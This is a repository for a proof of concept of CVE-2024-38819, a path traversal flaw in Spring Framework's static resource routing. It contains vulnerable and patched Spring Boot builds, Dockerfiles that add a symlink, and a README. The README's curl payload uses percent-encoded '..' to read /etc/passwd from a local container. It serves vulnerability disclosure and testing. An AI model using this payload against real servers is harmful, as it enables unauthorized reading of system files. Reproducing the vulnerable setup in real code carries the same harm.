├── safe ├── build.gradle ├── Dockerfile └── src │ └── main │ └── java │ └── com │ └── example │ └── PathTraversalDemoApplication.java ├── vuln ├── build.gradle ├── Dockerfile └── src │ └── main │ └── java │ └── com │ └── example │ └── PathTraversalDemoApplication.java ├── LICENSE └── README.md /safe/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'org.springframework.boot' version '3.3.5' 3 | id 'io.spring.dependency-management' version '1.0.15.RELEASE' 4 | id 'java' 5 | } 6 | 7 | group = 'com.example' 8 | version = '0.0.1-SNAPSHOT' 9 | sourceCompatibility = '17' 10 | 11 | repositories { 12 | mavenCentral() 13 | } 14 | 15 | dependencies { 16 | implementation 'org.springframework.boot:spring-boot-starter-webflux:3.3.5' 17 | } 18 | 19 | tasks.named('test') { 20 | useJUnitPlatform() 21 | } 22 | 23 | bootJar { 24 | mainClass.set('com.example.PathTraversalDemoApplication') 25 | } 26 | -------------------------------------------------------------------------------- /vuln/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'org.springframework.boot' version '3.3.4' 3 | id 'io.spring.dependency-management' version '1.0.15.RELEASE' 4 | id 'java' 5 | } 6 | 7 | group = 'com.example' 8 | version = '0.0.1-SNAPSHOT' 9 | sourceCompatibility = '17' 10 | 11 | repositories { 12 | mavenCentral() 13 | } 14 | 15 | dependencies { 16 | implementation 'org.springframework.boot:spring-boot-starter-webflux:3.3.4' 17 | } 18 | 19 | tasks.named('test') { 20 | useJUnitPlatform() 21 | } 22 | 23 | bootJar { 24 | mainClass.set('com.example.PathTraversalDemoApplication') 25 | } 26 | -------------------------------------------------------------------------------- /safe/Dockerfile: -------------------------------------------------------------------------------- 1 | # Build stage 2 | FROM gradle:7.6.1-jdk17 AS build 3 | 4 | WORKDIR /home/gradle/project 5 | COPY --chown=gradle:gradle . . 6 | 7 | RUN gradle build --no-daemon 8 | 9 | # Execution stage 10 | FROM openjdk:17-jdk-slim 11 | 12 | WORKDIR /app 13 | COPY --from=build /home/gradle/project/build/libs/*.jar app.jar 14 | 15 | # Directory for storing static files 16 | RUN mkdir /static 17 | # Root directory for FileSystemResource 18 | RUN mkdir /app/static 19 | # Symbolic link from the FileSystemResource directory to the static files directory 20 | RUN ln -s /static /app/static/link 21 | 22 | EXPOSE 8080 23 | 24 | ENTRYPOINT ["java", "-jar", "app.jar"] 25 | -------------------------------------------------------------------------------- /vuln/Dockerfile: -------------------------------------------------------------------------------- 1 | # Build stage 2 | FROM gradle:7.6.1-jdk17 AS build 3 | 4 | WORKDIR /home/gradle/project 5 | COPY --chown=gradle:gradle . . 6 | 7 | RUN gradle build --no-daemon 8 | 9 | # Execution stage 10 | FROM openjdk:17-jdk-slim 11 | 12 | WORKDIR /app 13 | COPY --from=build /home/gradle/project/build/libs/*.jar app.jar 14 | 15 | # Directory for storing static files 16 | RUN mkdir /static 17 | # Root directory for FileSystemResource 18 | RUN mkdir /app/static 19 | # Symbolic link from the FileSystemResource directory to the static files directory 20 | RUN ln -s /static /app/static/link 21 | 22 | EXPOSE 8080 23 | 24 | ENTRYPOINT ["java", "-jar", "app.jar"] 25 | -------------------------------------------------------------------------------- /safe/src/main/java/com/example/PathTraversalDemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.example; 2 | 3 | import org.springframework.core.SpringVersion; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | import org.springframework.context.annotation.Bean; 7 | import org.springframework.core.io.FileSystemResource; 8 | import org.springframework.web.reactive.function.server.RouterFunction; 9 | import org.springframework.web.reactive.function.server.RouterFunctions; 10 | import org.springframework.web.reactive.function.server.ServerResponse; 11 | 12 | @SpringBootApplication 13 | public class PathTraversalDemoApplication { 14 | 15 | public static void main(String[] args) { 16 | SpringApplication.run(PathTraversalDemoApplication.class, args); 17 | } 18 | 19 | @Bean 20 | public RouterFunction staticResourceRouter() { 21 | System.out.println("Spring Framework Version: " + SpringVersion.getVersion()); 22 | return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /vuln/src/main/java/com/example/PathTraversalDemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.example; 2 | 3 | import org.springframework.core.SpringVersion; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | import org.springframework.context.annotation.Bean; 7 | import org.springframework.core.io.FileSystemResource; 8 | import org.springframework.web.reactive.function.server.RouterFunction; 9 | import org.springframework.web.reactive.function.server.RouterFunctions; 10 | import org.springframework.web.reactive.function.server.ServerResponse; 11 | 12 | @SpringBootApplication 13 | public class PathTraversalDemoApplication { 14 | 15 | public static void main(String[] args) { 16 | SpringApplication.run(PathTraversalDemoApplication.class, args); 17 | } 18 | 19 | @Bean 20 | public RouterFunction staticResourceRouter() { 21 | System.out.println("Spring Framework Version: " + SpringVersion.getVersion()); 22 | return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Masato Anzai 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-38819: Proof of Concept (PoC) 2 | 3 | This is a proof of concept for the [CVE-2024-38819](https://spring.io/security/cve-2024-38819) vulnerability, which I reported, demonstrating a path traversal exploit. 4 | 5 | ## Execution Steps 6 | 1. Build the Docker image (Spring Boot 3.3.4, based on Spring Framework 6.1.13) 7 | ``` 8 | cd vuln 9 | docker build -t cve-2024-38819-poc . 10 | ``` 11 | 2. Run the container and expose port 8080 to the host machine 12 | ``` 13 | docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc 14 | ``` 15 | 3. Run the following command to execute the PoC and confirm the vulnerability 16 | ``` 17 | curl http://localhost:8080/static/link/%2e%2e/etc/passwd 18 | ``` 19 | 20 | If the attack is successful, the contents of the `/etc/passwd` file will be displayed. 21 | 22 | ## Explanation 23 | 1. Create `PathTraversalDemoApplication.java` with the following code to set up static file routing using `RouterFunction` and `FileSystemResource`: 24 | ``` 25 | public RouterFunction staticResourceRouter() { 26 | return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); 27 | } 28 | ``` 29 | 30 | 2. Add the following command to the Dockerfile to create a symbolic link: 31 | ``` 32 | RUN ln -s /static /app/static/link 33 | ``` 34 | 35 | 3. Create a payload that leverages percent-encoding to traverse directories through the symbolic link. 36 | - Path: `/static/link/%2e%2e/etc/passwd` 37 | 38 | 4. Use the following `curl` command to execute the PoC and verify if the attack is successful: 39 | ``` 40 | curl http://localhost:8080/static/link/%2e%2e/etc/passwd 41 | ``` 42 | If the attack is successful, the contents of the `/etc/passwd` file will be displayed. 43 | 44 | ## Disclaimer 45 | This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code. 46 | --------------------------------------------------------------------------------